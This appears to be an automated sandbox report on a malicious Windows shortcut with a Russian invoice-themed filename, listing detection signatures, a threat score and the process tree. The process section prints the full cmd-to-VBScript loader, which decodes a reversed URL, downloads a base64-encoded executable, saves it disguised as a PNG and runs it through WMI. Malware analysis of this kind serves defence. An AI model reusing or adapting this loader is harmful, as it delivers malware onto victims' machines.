Analysis
- max time kernel
298s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
05/09/2026, 03:46
General
- Target Детальная проверка нештатных счетов-фактур.lnk
- Size 3KB
- Sample260905-ebyfqaszas
- SHA256 ed0cf8a95fd0dcc655215edc6e9f120bf7de350bfccb476d5b7f3f6338cfde89
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Детальная проверка нештатных счетов-фактур.lnk"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c echo u=StrReverse^("txt.tuyla3/eom.xobtac.selif//:sptth"^):Set h=CreateObject^("WinHttp.WinHttpRequest.5.1"^):h.Open "GET",u,False:h.Send:c=h.ResponseText:j=InStr^(c,"TVq"^)>C:\Users\Admin\AppData\Local\Temp\~d.vbs&echo If j=0 Then WScript.Quit>>C:\Users\Admin\AppData\Local\Temp\~d.vbs&echo c=Replace^(Replace^(Replace^(Mid^(c,j^),vbCr,""^),vbLf,""^)," ",""^):Set m=CreateObject^("Microsoft.XMLDOM"^).createElement^("b"^):m.DataType="bin.base64":m.Text=c>>C:\Users\Admin\AppData\Local\Temp\~d.vbs&echo Set f=CreateObject^("Scripting.FileSystemObject"^):p="C:\Users\Public\Documents\Mac">>C:\Users\Admin\AppData\Local\Temp\~d.vbs&echo If f.FolderExists(p)=0 Then f.CreateFolder p>>C:\Users\Admin\AppData\Local\Temp\~d.vbs&echo a=f.BuildPath^(p,"3alyut.png"^):Set s=CreateObject^("ADODB.Stream"^):s.Type=1:s.Open:s.Write m.NodeTypedValue:s.SaveToFile a,2:s.Close:Set g=GetObject^("winmgmts:\\.\root\cimv2:Win32_Process"^):g.Create a,Null,Null,t>>C:\Users\Admin\AppData\Local\Temp\~d.vbs&wscript //nologo C:\Users\Admin\AppData\Local\Temp\~d.vbs&del /q C:\Users\Admin\AppData\Local\Temp\~d.vbs2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wscript.exewscript //nologo C:\Users\Admin\AppData\Local\Temp\~d.vbs3⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
~d.vbs